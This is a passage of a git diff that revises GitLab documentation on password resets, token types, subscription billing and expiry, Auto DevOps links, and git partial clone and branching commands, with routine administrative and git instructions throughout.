of finding users via their usernames. However, if only user ID or email ID of the user is known, Rails console can be used to find user using user ID and then change password of the user manually. -1. Start a Rails console - - ```shell - sudo gitlab-rails console -e production - ``` +1. [Start a Rails console](../administration/operations/rails_console.md) -1. Find the user either by user ID or email ID: +1. Find the user either by username, user ID or email ID: ```ruby + user = User.find_by_username 'exampleuser' + + #or + user = User.find(123) #or @@ -81,6 +83,23 @@ using user ID and then change password of the user manually. NOTE: You can also reset passwords by using the [Users API](../api/users.md#user-modification). +## Password reset does not appear to work + +If you can't sign on with the new password, it might be because of the [reconfirmation feature](../user/upgrade_email_bypass.md). + +Try fixing this on the rails console. For example, if your new `root` password isn't working: + +1. [Start a Rails console](../administration/operations/rails_console.md). + +1. Find the user and skip reconfirmation. Any of the methods to find the user, above, will work: + + ```ruby + user = User.find(1) + user.skip_reconfirmation! + ``` + +1. Try to sign in again. + ## Reset your root password The previously described steps can also be used to reset the root password. diff --git a/doc/security/token_overview.md b/doc/security/token_overview.md index 2bb4ffa8eec..0ca1e07bf54 100644 --- a/doc/security/token_overview.md +++ b/doc/security/token_overview.md @@ -22,7 +22,7 @@ they inherit permissions from the user who created them. ## OAuth2 tokens -GitLab can serve as an [OAuth2 provider](../api/oauth2.md) to allow other services to access the GitLab API on a user’s behalf. +GitLab can serve as an [OAuth2 provider](../api/oauth2.md) to allow other services to access the GitLab API on a user's behalf. You can limit the scope and lifetime of your OAuth2 tokens. @@ -57,7 +57,7 @@ Deploy tokens can be managed by project maintainers and owners. [Deploy keys](../user/project/deploy_keys/index.md) allow read-only or read-write access to your repositories by importing an SSH public key into your GitLab instance. Deploy keys cannot be used with the GitLab API or the registry. -This is useful, for example, for cloning repositories to your Continuous Integration (CI) server. By using deploy keys, you don’t have to set up a fake user account. +This is useful, for example, for cloning repositories to your Continuous Integration (CI) server. By using deploy keys, you don't have to set up a fake user account. Project maintainers and owners can add or enable a deploy key for a project repository @@ -65,13 +65,13 @@ Project maintainers and owners can add or enable a deploy key for a project repo Runner registration tokens are used to [register](https://docs.gitlab.com/runner/register/) a [runner](https://docs.gitlab.com/runner/) with GitLab. Group or project owners or instance admins can obtain them through the GitLab user interface. The registration token is limited to runner registration and has no further scope. -You can use the runner registration token to add runners that execute jobs in a project or group. The runner has access to the project’s code, so be careful when assigning project and group-level permissions. +You can use the runner registration token to add runners that execute jobs in a project or group. The runner has access to the project's code, so be careful when assigning project and group-level permissions. ## Runner authentication tokens (also called runner tokens) After registration, the runner receives an authentication token, which it uses to authenticate with GitLab when picking up jobs from the job queue. The authentication token is stored locally in the runner's [`config.toml`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html) file. -After authentication with GitLab, the runner receives a [job token](../user/project/new_ci_build_permissions_model.md#job-token), which it uses to execute the job. +After authentication with GitLab, the runner receives a [job token](../api/README.md#gitlab-cicd-job-token), which it uses to execute the job. In case of Docker Machine/Kubernetes/VirtualBox/Parallels/SSH executors, the execution environment has no access to the runner authentication token, because it stays on the runner machine. They have access to the job token only, which is needed to execute the job. @@ -79,9 +79,9 @@ Malicious access to a runner's file system may expose the `config.toml` file and ## CI/CD job tokens -The [CI/CD](../api/README.md#gitlab-ci-job-token) job token +The [CI/CD](../api/README.md#gitlab-cicd-job-token) job token is a short lived token only valid for the duration of a job. It gives a CI/CD job -access to a limited amount of [API endpoints](../api/README.md#gitlab-ci-job-token). +access to a limited amount of API endpoints. API authentication uses the job token, by using the authorization of the user triggering the job. @@ -105,4 +105,4 @@ This table shows available scopes per token. Scopes can be limited further on to 1. Limited to the one project. 1. Runner registration and authentication token don't provide direct access to repositories, but can be used to register and authenticate a new runner that may execute jobs which do have access to the repository -1. Limited to certain [endpoints](../api/README.md#gitlab-ci-job-token). +1. Limited to certain [endpoints](../api/README.md#gitlab-cicd-job-token). diff --git a/doc/ssh/README.md b/doc/ssh/README.md index 11ab991a7f3..87213f72534 100644 --- a/doc/ssh/README.md +++ b/doc/ssh/README.md @@ -218,6 +218,8 @@ To use SSH with GitLab, copy your public key to your GitLab account. The expiration date is informational only, and does not prevent you from using the key. However, administrators can view expiration dates and use them for guidance when [deleting keys](../user/admin_area/credentials_inventory.md#delete-a-users-ssh-key). + - GitLab checks all SSH keys at 02:00 AM UTC every day. It emails an expiration notice for all SSH keys that expire on the current date. ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/322637) in GitLab 13.11.) + - GitLab checks all SSH keys at 01:00 AM UTC every day. It emails an expiration notice for all SSH keys that are scheduled to expire seven days from now. ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/322637) in GitLab 13.11.) 1. Select **Add key**. ## Verify that you can connect diff --git a/doc/subscriptions/gitlab_com/index.md b/doc/subscriptions/gitlab_com/index.md index 5aa5a06021c..f2a33e821b8 100644 --- a/doc/subscriptions/gitlab_com/index.md +++ b/doc/subscriptions/gitlab_com/index.md @@ -7,7 +7,7 @@ type: index, reference # GitLab SaaS subscription **(PREMIUM SAAS)** -GitLab SaaS is GitLab Inc.'s software-as-a-service offering. You don't need to +GitLab SaaS is the GitLab software-as-a-service offering. You don't need to install anything to use GitLab SaaS, you only need to [sign up](https://gitlab.com/users/sign_up) and start using GitLab straight away. @@ -15,9 +15,9 @@ This page reviews the details of your GitLab SaaS subscription. ## Choose a GitLab SaaS tier -Pricing is [tier-based](https://about.gitlab.com/pricing/), allowing you to choose -the features which fit your budget. For information on what features are available -at each tier, see the +Pricing is [tier-based](https://about.gitlab.com/pricing/), so you can choose +the features that fit your budget. For information on the features available +for each tier, see the [GitLab SaaS feature comparison](https://about.gitlab.com/pricing/gitlab-com/feature-comparison/). ## Choose the number of users @@ -91,6 +91,9 @@ The following table describes details of your subscription: > - [Updated](https://gitlab.com/gitlab-org/gitlab/-/issues/292086) in GitLab 13.8 to include public email address. +To view a list of seats being used, go to **Settings > Billing**. +Under **Seats currently in use**, select **See usage**. + The **Seat usage** page lists all users occupying seats. Details for each user include: - Full name @@ -117,6 +120,14 @@ For example: | Amir | `ami` | Yes | | Amir | `amr` | No | +## Subscription expiry + +When your subscription expires, you can continue to use paid features of GitLab for 14 days. +On the 15th day, paid features are no longer available. You can +continue to use free features. + +To resume paid feature functionality, purchase a new subscription. + ## Renew your GitLab SaaS subscription To renew your subscription: @@ -145,23 +156,42 @@ It's important to regularly review your user accounts, because: attempt to renew a subscription for too few users. - Stale user accounts can be a security risk. A regular review helps reduce this risk. -#### Users over License +#### Seats owed A GitLab subscription is valid for a specific number of users. For details, see [Choose the number of users](#choose-the-number-of-users). If the number of [billable users](#view-your-gitlab-saas-subscription) exceeds the number included in the subscription, known -as the number of _users over license_, you must pay for the excess number of -users either before renewal, or at the time of renewal. This is also known the -_true up_ process. +as the number of _seats owed_, you must pay for the excess number of users before renewal. + +##### Seats owed example + +You purchase a subscription for 10 users. + +| Event | Billable members | Maximum users | +|:---------------------------------------------------|:-----------------|:--------------| +| Ten users occupy all 10 seats. | 10 | 10 | +| Two new users join. | 12 | 12 | +| Three users leave and their accounts are removed. | 9 | 12 | + +Seats owed = 12 - 10 (Maximum users - users in subscription) ### Renew or change a GitLab SaaS subscription -You can adjust the number of users before renewing your GitLab SaaS subscription. +Starting 30 days before a subscription expires, GitLab notifies group owners +of the date of expiry with a banner in the GitLab user interface. + +We recommend following these steps during renewal: + +1. Prune any [inactive or unwanted users](#remove-billable-user). +1. Determine if you have a need for user growth in the upcoming subscription. +1. Log in to the [Customers Portal](https://customers.gitlab.com/customers/sign_in) and beneath your existing subscription, select the **Renew** button. +1. Review your renewal details and complete the payment process. +1. Select **Confirm purchase**. -- To renew for more users than are currently included in your GitLab SaaS plan, [add users to your subscription](#add-users-to-your-subscription). -- To renew for fewer users than are currently included in your GitLab SaaS plan, -either [disable](../../user/admin_area/activating_deactivating_users.md#deactivating-a-user) or [block](../../user/admin_area/blocking_unblocking_users.md#blocking-a-user) the user accounts you no longer need. +Your updated subscription is applied to your namespace on the renewal period start date. + +An invoice is generated for the renewal and available for viewing or download on the [View invoices](https://customers.gitlab.com/receipts) page. If you have difficulty during the renewal process, contact our [support team](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293) for assistance. For details on upgrading your subscription tier, see [Upgrade your GitLab SaaS subscription tier](#upgrade-your-gitlab-saas-subscription-tier). @@ -219,18 +249,21 @@ To upgrade your [GitLab tier](https://about.gitlab.com/pricing/): When the purchase has been processed, you receive confirmation of your new subscription tier. -## See your billable users list +## See your subscription and billable users in GitLab.com -To see a list of your billable users on your GitLab group page go to **Settings > Billing**. This page provides information about your subscription and occupied seats for your group which is the list of billable users for your particular group. +To view information about your subscription and occupied seats: -## Subscription expiry +1. Go to your group's **Settings > Billing** page. +1. In the **Seats currently in use** area, select **See usage**. + +### Remove billable user -When your subscription or trial expires, GitLab does not delete your data, but -it may become inaccessible, depending on the tier at expiry. Some features may not -behave as expected if you're not prepared for the expiry. For example, -[environment specific variables not being passed](https://gitlab.com/gitlab-org/gitlab/-/issues/24759). +To remove a billable user: -If you renew or upgrade, your data is accessible again. +1. Go to your group's **Settings > Billing** page. +1. In the **Seats currently in use** area, select **See usage**. +1. In the row for the user you want to remove, on the right side, select the ellipsis and **Remove user**. +1. Re-type the username and select **Remove user**. ## CI pipeline minutes diff --git a/doc/subscriptions/self_managed/index.md b/doc/subscriptions/self_managed/index.md index dc98a9415d7..db0d54ff14c 100644 --- a/doc/subscriptions/self_managed/index.md +++ b/doc/subscriptions/self_managed/index.md @@ -28,11 +28,11 @@ The cost of a GitLab self-managed subscription is determined by the following: - GitLab tier - Subscription seats -## GitLab tier +## Choose a GitLab tier -Pricing is [tier-based](https://about.gitlab.com/pricing/), allowing you to choose -the features which fit your budget. For information on what features are available -at each tier, see the +Pricing is [tier-based](https://about.gitlab.com/pricing/), so you can choose +the features that fit your budget. For information on the features available +for each tier, see the [GitLab self-managed feature comparison](https://about.gitlab.com/pricing/self-managed/feature-comparison/). ## Subscription seats @@ -150,9 +150,9 @@ You purchase a license for 10 users. | Event | Billable members | Maximum users | |:---------------------------------------------------|:-----------------|:--------------| -| Ten people (users) occupy all 10 seats. | 10 | 10 | -| Two new people join. | 12 | 12 | -| Three people leave and their accounts are removed. | 9 | 12 | +| Ten users occupy all 10 seats. | 10 | 10 | +| Two new users join. | 12 | 12 | +| Three users leave and their accounts are removed. | 9 | 12 | Users over license = 12 - 10 (Maximum users - users in license) @@ -190,7 +190,7 @@ We recommend following these steps during renewal: NOTE: If you need to change your [GitLab tier](https://about.gitlab.com/pricing/), contact our sales team via `renewals@gitlab.com` for assistance as this can't be done in the Customers Portal. -1. In the first box, enter the total number of user licenses you’ll need for the upcoming year. Be sure this number is at least **equal to, or greater than** the number of billable users in the system at the time of performing the renewal. +1. In the first box, enter the total number of user licenses you'll need for the upcoming year. Be sure this number is at least **equal to, or greater than** the number of billable users in the system at the time of performing the renewal. 1. Enter the number of [users over license](#users-over-license) in the second box for the user overage incurred in your previous subscription term. 1. Review your renewal details and complete the payment process. 1. A license for the renewal term is available for download on the [Manage Purchases](https://customers.gitlab.com/subscriptions) page on the relevant subscription card. Select **Copy license to clipboard** or **Download license** to get a copy. @@ -200,7 +200,7 @@ An invoice is generated for the renewal and available for viewing or download on ### Seat Link -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/208832) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.9. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/208832) in GitLab 12.9. Seat Link allows GitLab Inc. to provide our GitLab self-managed customers with prorated charges for user growth throughout the year using a quarterly reconciliation process. @@ -269,7 +269,7 @@ You can view the exact JSON payload in the administration panel. To view the pay #### Disable Seat Link -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/212375) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.10. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/212375) in GitLab 12.10. Seat Link is enabled by default. @@ -318,18 +318,15 @@ The new tier takes effect when the new license is uploaded. ## Subscription expiry -When your subscription or trial expires, GitLab does not delete your data, but it -may become inaccessible, depending on the tier at expiry. Some features may not -behave as expected if you're not prepared for the expiry. For example, -[environment specific variables not being passed](https://gitlab.com/gitlab-org/gitlab/-/issues/24759). -If you renew or upgrade, your data is again accessible. +When your license expires, GitLab locks down features, like Git pushes +and issue creation. Then, your instance becomes read-only and +an expiration message is displayed to all administrators. -For GitLab self-managed customers, there is a 14-day grace period when your features -continue to work as-is, after which the entire instance becomes read -only. +For GitLab self-managed instances, you have a 14-day grace period +before this occurs. -However, if you remove the license, you immediately revert to Free -features, and the instance become read / write again. +- To resume functionality, upload a new license. +- To fall back to Free features, delete the expired license. ## Contact Support diff --git a/doc/tools/email.md b/doc/tools/email.md index 302279401f6..4dbb819c85b 100644 --- a/doc/tools/email.md +++ b/doc/tools/email.md @@ -11,6 +11,9 @@ GitLab provides a simple tool to administrators for emailing all users, or users a chosen group or project, right from the Admin Area. Users receive the email at their primary email address. +For information about email notifications originating from GitLab, read +[GitLab notification emails](../user/profile/notifications.md). + ## Use-cases - Notify your users about a new project, a new feature, or a new product launch. diff --git a/doc/topics/authentication/index.md b/doc/topics/authentication/index.md index 1988e3e2890..25640671e78 100644 --- a/doc/topics/authentication/index.md +++ b/doc/topics/authentication/index.md @@ -35,7 +35,6 @@ This page gathers all the resources for the topic **Authentication** within GitL - [SAML OmniAuth Provider](../../integration/saml.md) - [SAML for GitLab.com Groups](../../user/group/saml_sso/index.md) **(PREMIUM SAAS)** - [SCIM user provisioning for GitLab.com Groups](../../user/group/saml_sso/scim_setup.md) **(PREMIUM SAAS)** - - [Okta SSO provider](../../administration/auth/okta.md) - [Kerberos integration (GitLab EE)](../../integration/kerberos.md) **(STARTER)** ## API diff --git a/doc/topics/autodevops/customize.md b/doc/topics/autodevops/customize.md index 7dcecb9af1e..ae6e57cd38e 100644 --- a/doc/topics/autodevops/customize.md +++ b/doc/topics/autodevops/customize.md @@ -171,7 +171,7 @@ list of options. ## Custom Helm chart per environment You can specify the use of a custom Helm chart per environment by scoping the CI/CD variable -to the desired environment. See [Limiting environment scopes of variables](../../ci/variables/README.md#limit-the-environment-scopes-of-cicd-variables). +to the desired environment. See [Limit environment scope of CI/CD variables](../../ci/variables/README.md#limit-the-environment-scope-of-a-cicd-variable). ## Customizing `.gitlab-ci.yml` diff --git a/doc/topics/autodevops/index.md b/doc/topics/autodevops/index.md index dbb63275a06..03454649c7e 100644 --- a/doc/topics/autodevops/index.md +++ b/doc/topics/autodevops/index.md @@ -231,7 +231,7 @@ any of the following places: **Continuous Integration and Delivery** section The base domain variable `KUBE_INGRESS_BASE_DOMAIN` follows the same order of precedence -as other environment [variables](../../ci/variables/README.md#priority-of-cicd-variables). +as other environment [variables](../../ci/variables/README.md#cicd-variable-precedence). If the CI/CD variable is not set and the cluster setting is left blank, the instance-wide **Auto DevOps domain** setting is used if set. @@ -274,7 +274,7 @@ used by Auto DevOps currently defines 3 environment names: Those environments are tied to jobs using [Auto Deploy](stages.md#auto-deploy), so except for the environment scope, they must have a different deployment domain. You must define a separate `KUBE_INGRESS_BASE_DOMAIN` variable for each of the above -[based on the environment](../../ci/variables/README.md#limit-the-environment-scopes-of-cicd-variables). +[based on the environment](../../ci/variables/README.md#limit-the-environment-scope-of-a-cicd-variable). The following table is an example of how to configure the three different clusters: diff --git a/doc/topics/autodevops/requirements.md b/doc/topics/autodevops/requirements.md index d536282cca4..8fb16511e34 100644 --- a/doc/topics/autodevops/requirements.md +++ b/doc/topics/autodevops/requirements.md @@ -91,7 +91,7 @@ To make full use of Auto DevOps with Kubernetes, you need: To enable HTTPS endpoints for your application, you must install cert-manager, a native Kubernetes certificate management controller that helps with issuing certificates. Installing cert-manager on your cluster issues a - [Let’s Encrypt](https://letsencrypt.org/) certificate and ensures the + [Let's Encrypt](https://letsencrypt.org/) certificate and ensures the certificates are valid and up-to-date. If you've configured the GitLab integration with Kubernetes, you can deploy it to your cluster by installing the [GitLab-managed app for cert-manager](../../user/clusters/applications.md#cert-manager). diff --git a/doc/topics/autodevops/stages.md b/doc/topics/autodevops/stages.md index 913c221d8ec..97edc9adc06 100644 --- a/doc/topics/autodevops/stages.md +++ b/doc/topics/autodevops/stages.md @@ -137,8 +137,7 @@ might want to use a [custom buildpack](customize.md#custom-buildpacks). ## Auto Code Quality -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/1984) in [GitLab](https://about.gitlab.com/pricing/) 9.3. -> - Made [available in all tiers](https://gitlab.com/gitlab-org/gitlab/-/issues/212499) in GitLab 13.2. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212499) to GitLab Free in 13.2. Auto Code Quality uses the [Code Quality image](https://gitlab.com/gitlab-org/ci-cd/codequality) to run @@ -165,7 +164,7 @@ see the documentation. ## Auto Secret Detection -> - Introduced in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.1. +> - Introduced in GitLab Ultimate 13.1. > - [Select functionality made available in all tiers](../../user/application_security/secret_detection/#making-secret-detection-available-to-all-gitlab-tiers) in 13.3 Secret Detection uses the @@ -179,8 +178,6 @@ To learn more, see [Secret Detection](../../user/application_security/secret_det ## Auto Dependency Scanning **(ULTIMATE)** -> Introduced in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.7. - Dependency Scanning runs analysis on the project's dependencies and checks for potential security issues. The Auto Dependency Scanning stage is skipped on licenses other than [Ultimate](https://about.gitlab.com/pricing/) and requires @@ -195,7 +192,7 @@ see the documentation. ## Auto License Compliance **(ULTIMATE)** -> Introduced in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.0. +> Introduced in GitLab Ultimate 11.0. License Compliance uses the [License Compliance Docker image](https://gitlab.com/gitlab-org/security-products/analyzers/license-finder) @@ -211,8 +208,6 @@ documentation. ## Auto Container Scanning **(ULTIMATE)** -> Introduced in GitLab 10.4. - Vulnerability Static Analysis for containers uses [Clair](https://github.com/quay/clair) to check for potential security issues on Docker images. The Auto Container Scanning stage is skipped on licenses other than [Ultimate](https://about.gitlab.com/pricing/). @@ -263,8 +258,6 @@ in the first place, and thus not realize that it needs to re-apply the old confi ## Auto DAST **(ULTIMATE)** -> Introduced in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.4. - Dynamic Application Security Testing (DAST) uses the popular open source tool [OWASP ZAProxy](https://github.com/zaproxy/zaproxy) to analyze the current code and check for potential security issues. The Auto DAST stage is skipped on @@ -422,10 +415,10 @@ including support for `Deployment` in the `extensions/v1beta1` version. To use Auto Deploy on a Kubernetes 1.16+ cluster: -1. If you are deploying your application for the first time on GitLab 13.0 or +1. If you are deploying your application for the first time in GitLab 13.0 or newer, no configuration should be required. -1. On GitLab 12.10 or older, set the following in the [`.gitlab/auto-deploy-values.yaml` file](customize.md#customize-values-for-helm-chart): +1. In GitLab 12.10 or older, set the following in the [`.gitlab/auto-deploy-values.yaml` file](customize.md#customize-values-for-helm-chart): ```yaml deploymentApiVersion: apps/v1 @@ -439,7 +432,7 @@ To use Auto Deploy on a Kubernetes 1.16+ cluster: GitLab 12.9 or 12.10, set `AUTO_DEVOPS_POSTGRES_CHANNEL` to `2`. WARNING: -On GitLab 12.9 and 12.10, opting into +In GitLab 12.9 and 12.10, opting into `AUTO_DEVOPS_POSTGRES_CHANNEL` version `2` deletes the version `1` PostgreSQL database. Follow the [guide to upgrading PostgreSQL](upgrading_postgresql.md) to back up and restore your database before opting into version `2` (On @@ -739,7 +732,7 @@ To use Auto Monitoring: 1. [Install and configure the Auto DevOps requirements](requirements.md). 1. [Enable Auto DevOps](index.md#enable-or-disable-auto-devops), if you haven't done already. -1. Navigate to your project's **{rocket}** **CI/CD > Pipelines** and click **Run Pipeline**. +1. Navigate to your project's **{rocket}** **CI/CD > Pipelines** and click **Run pipeline**. 1. After the pipeline finishes successfully, open the [monitoring dashboard for a deployed environment](../../ci/environments/index.md#monitoring-environments) to view the metrics of your deployed application. To view the metrics of the diff --git a/doc/topics/autodevops/troubleshooting.md b/doc/topics/autodevops/troubleshooting.md index ed75dd4e262..cf2a2133fa3 100644 --- a/doc/topics/autodevops/troubleshooting.md +++ b/doc/topics/autodevops/troubleshooting.md @@ -39,7 +39,7 @@ Found errors in your .gitlab-ci.yml: jobs:test config key may not be used with `rules`: only ``` -This error appears when the included job’s rules configuration has been overridden with the `only` or `except` syntax. +This error appears when the included job's rules configuration has been overridden with the `only` or `except` syntax. To fix this issue, you must either: - Transition your `only/except` syntax to rules. diff --git a/doc/topics/git/feature_branch_development.md b/doc/topics/git/feature_branch_development.md index 5f4b5632f33..8d18441aadd 100644 --- a/doc/topics/git/feature_branch_development.md +++ b/doc/topics/git/feature_branch_development.md @@ -23,10 +23,29 @@ In such cases, it may be more efficient to submit an MR on the release post feat In this case, the feature branch would be `release-X-Y`. Assuming the `release-X-Y` branch already exists, you can set up an MR against that branch, with the following steps: -1. Create a new branch (`test-branch`) against the feature branch (`release-X-Y`): +1. Navigate to the main (master) branch: ```shell - git checkout -b test-branch release-X-Y + git checkout master + ``` + +1. Make sure you have the latest version of your repository: + + ```shell + git fetch + git pull + ``` + +1. Check out the feature branch: + + ```shell + git checkout release-x-y + ``` + +1. Create a new branch (`test-branch`) against the feature branch (`release-x-y`): + + ```shell + git checkout -b test-branch release-x-y ``` You should now be on a branch named `test-branch`. diff --git a/doc/topics/git/lfs/index.md b/doc/topics/git/lfs/index.md index 11c0fcc2373..0851d3f6b50 100644 --- a/doc/topics/git/lfs/index.md +++ b/doc/topics/git/lfs/index.md @@ -114,10 +114,10 @@ See the documentation on [File Locking](../../../user/project/file_lock.md). ## LFS objects in project archives > - Support for including Git LFS blobs inside [project source downloads](../../../user/project/repository/index.md) was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15079) in GitLab 13.5. -> - It was [deployed behind a feature flag](../../../user/feature_flags.md), disabled by default. -> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/268409) on GitLab 13.6. -> - It's enabled on GitLab.com. -> - It's recommended for production use. +> - [Deployed behind a feature flag](../../../user/feature_flags.md), disabled by default. +> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/268409) in GitLab 13.6. +> - Enabled on GitLab.com. +> - Recommended for production use. > - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-lfs-objects-in-project-archives). WARNING: diff --git a/doc/topics/git/numerous_undo_possibilities_in_git/index.md b/doc/topics/git/numerous_undo_possibilities_in_git/index.md index 76fc9bc92b0..eba471882f1 100644 --- a/doc/topics/git/numerous_undo_possibilities_in_git/index.md +++ b/doc/topics/git/numerous_undo_possibilities_in_git/index.md @@ -379,7 +379,7 @@ it also provides a clear timeline and development structure.  -If you want to revert changes introduced in certain `commit-id` you can simply +If you want to revert changes introduced in certain `commit-id`, you can revert that `commit-id` (swap additions and deletions) in newly created commit: You can do this with diff --git a/doc/topics/git/partial_clone.md b/doc/topics/git/partial_clone.md index 7f2543f040a..cad29d30af4 100644 --- a/doc/topics/git/partial_clone.md +++ b/doc/topics/git/partial_clone.md @@ -5,11 +5,13 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, howto --- -# Partial Clone **(FREE)** +# Partial clone **(FREE)** As Git repositories grow in size, they can become cumbersome to work with -because of the large amount of history that must be downloaded, and the large -amount of disk space they require. +because of: + +- The large amount of history that must be downloaded. +- The large amount of disk space they require. [Partial clone](https://github.com/git/git/blob/master/Documentation/technical/partial-clone.txt) is a performance optimization that "allows Git to function without having a @@ -58,9 +60,10 @@ Updating files: 100% (13008/13008), done. Filtering content: 100% (3/3), 131.24 MiB | 4.65 MiB/s, done. ``` -The output is longer because Git first clones the repository excluding -files larger than 1 megabyte, and second download any missing large files needed -to checkout the `master` branch. +The output is longer because Git: + +1. Clones the repository excluding files larger than 1 megabyte. +1. Downloads any missing large files needed to check out the default branch. When changing branches, Git may need to download more missing files. @@ -68,9 +71,9 @@ When changing branches, Git may need to download more missing files. > [Introduced](https://gitlab.com/gitlab-org/gitaly/-/issues/2553) in GitLab 12.10. -For enormous repositories with millions of files, and long history, it may be -helpful to exclude all files and use in combination with `sparse-checkout` to -reduce the size of your working copy. +For repositories with millions of files and a long history, you can exclude all files and use +[`git sparse-checkout`](https://git-scm.com/docs/git-sparse-checkout) to reduce the size of +your working copy. ```plaintext # Clone the repo excluding all files @@ -108,21 +111,22 @@ For more details, see the Git documentation for ## Filter by file path -WARNING: -Partial Clone using `sparse` filters is experimental, slow, and -significantly increases Gitaly resource utilization when cloning and fetching. +Deeper integration between partial clone and sparse checkout is possible through the +`--filter=sparse:oid=<blob-ish>` filter spec. This mode of filtering uses a format similar to a +`.gitignore` file to specify which files to include when cloning and fetching. -Deeper integration between Partial Clone and Sparse Checkout is being explored -through the `--filter=sparse:oid=<blob-ish>` filter spec, but this is highly -experimental. This mode of filtering uses a format similar to a `.gitignore` -file to specify which files should be included when cloning and fetching. +WARNING: +Partial clone using `sparse` filters is still experimental. It might be slow and significantly increase +[Gitaly](../../administration/gitaly/index.md) resource utilization when cloning and fetching. +[Filter all blobs and use sparse-checkout](#filter-by-object-type) instead, because +[`git-sparse-checkout`](https://git-scm.com/docs/git-sparse-checkout) simplifies +this type of partial clone use and overcomes its limitations. For more details, see the Git documentation for -[`rev-list-options`](https://gitlab.com/gitlab-org/git/-/blob/9fadedd637b312089337d73c3ed8447e9f0aa775/Documentation/rev-list-options.txt#L735-780). +[`rev-list-options`](https://git-scm.com/docs/git-rev-list#Documentation/git-rev-list.txt---filterltfilter-specgt). -1. **Create a filter spec.** For example, consider a monolithic repository with - many applications, each in a different subdirectory in the root. Create a file - `shiny-app/.filterspec` using the GitLab web interface: +1. Create a filter spec. For example, consider a monolithic repository with many applications, + each in a different subdirectory in the root. Create a file `shiny-app/.filterspec`: ```plaintext # Only the paths listed in the file will be downloaded when performing a @@ -142,28 +146,14 @@ For more details, see the Git documentation for shared-component-b/ ``` -1. **Create a new Git repository and fetch.** Support for `--filter=sparse:oid` - using the clone command is incomplete, so we emulate the clone command - by hand, using `git init` and `git fetch`. Follow - [issue tracking support for `--filter=sparse:oid`](https://gitlab.com/gitlab-org/git/-/issues/4) - for updates. +1. Clone and filter by path. Support for `--filter=sparse:oid` using the + clone command is not yet fully integrated with sparse checkout. ```shell - # Create a new directory for the Git repository - mkdir jumbo-repo && cd jumbo-repo - - # Initialize a new Git repository - git init - - # Add the remote - git remote add origin <url> - - # Enable partial clone support for the remote - git config --local extensions.partialClone origin - # Fetch the filtered set of objects using the filterspec stored on the - # server. WARNING: this step is slow! - git fetch --filter=sparse:oid=master:shiny-app/.gitfilterspec origin + # Clone the filtered set of objects using the filterspec stored on the + # server. WARNING: this step may be very slow! + git clone --sparse --filter=sparse:oid=master:shiny-app/.gitfilterspec <url> # Optional: observe there are missing objects that we have not fetched git rev-list --all --quiet --objects --missing=print | wc -l @@ -175,21 +165,6 @@ For more details, see the Git documentation for entire repository. You many need to disable or reconfigure these integrations. -1. **Sparse checkout** must be enabled and configured to prevent objects from - other paths being downloaded automatically when checking out branches. Follow - [issue proposing automating sparse checkouts](https://gitlab.com/gitlab-org/git/-/issues/5) for updates. - - ```shell - # Enable sparse checkout - git config --local core.sparsecheckout true - - # Configure sparse checkout - git show master:snazzy-app/.gitfilterspec >> .git/info/sparse-checkout - - # Checkout master - git checkout master - ``` - ## Remove partial clone filtering Git repositories with partial clone filtering can have the filtering removed. To diff --git a/doc/topics/git/tags.md b/doc/topics/git/tags.md index 76e3cff3edc..70580ecf778 100644 --- a/doc/topics/git/tags.md +++ b/doc/topics/git/tags.md @@ -28,7 +28,7 @@ git checkout master git tag my_lightweight_tag # Annotated tag -git tag -a v1.0 -m ‘Version 1.0’ +git tag -a v1.0 -m 'Version 1.0' # Show list of the existing tags git tag diff --git a/doc/topics/git/troubleshooting_git.md b/doc/topics/git/troubleshooting_git.md index be4903e2cb9..8db683f6291 100644 --- a/doc/topics/git/troubleshooting_git.md +++ b/doc/topics/git/troubleshooting_git.md @@ -47,15 +47,15 @@ errors can sometimes be caused by underlying issues with SSH (such as authentication). Make sure that SSH is correctly configured by following the instructions in the [SSH troubleshooting](../../ssh/README.md#troubleshooting-ssh-connections) documentation. -If you're a GitLab administrator and have access to the server, you can also prevent -session timeouts by configuring SSH `keep alive` either on the client or on the server. +If you're a GitLab administrator with server access, you can also prevent +session timeouts by configuring SSH `keep-alive` on the client or the server. NOTE: Configuring both the client and the server is unnecessary. **To configure SSH on the client side**: -- On UNIX, edit `~/.ssh/config` (create the file if it doesn’t exist) and +- On UNIX, edit `~/.ssh/config` (create the file if it doesn't exist) and add or edit: ```plaintext @@ -153,7 +153,7 @@ and provide GitLab with more information on how to improve the service. ## `git clone` over HTTP fails with `transfer closed with outstanding read data remaining` error -If the buffer size is lower than what is allowed in the request, the action fails with an error similar to the one below: +Sometimes, when cloning old or large repositories, the following error is thrown: ```plaintext error: RPC failed; curl 18 transfer closed with outstanding read data remaining @@ -162,11 +162,59 @@ fatal: early EOF fatal: index-pack failed ``` -This can be fixed by increasing the existing `http.postBuffer` value to one greater than the repository size. For example, if `git clone` fails when cloning a 500M repository, you should set `http.postBuffer` to `524288000`. That setting ensures the request only starts buffering after the first 524288000 bytes. +This is a common problem with Git itself, due to its inability to handle large files or large quantities of files. +[Git LFS](https://about.gitlab.com/blog/2017/01/30/getting-started-with-git-lfs-tutorial/) was created to work around this problem; however, even it has limitations. It's usually due to one of these reasons: -NOTE: -The default value of `http.postBuffer`, 1 MiB, is applied if the setting is not configured. +- The number of files in the repository. +- The number of revisions in the history. +- The existence of large files in the repository. -```shell -git config http.postBuffer 524288000 -``` +The root causes vary, so multiple potential solutions exist, and you may need to +apply more than one: + +- If this error occurs when cloning a large repository, you can + 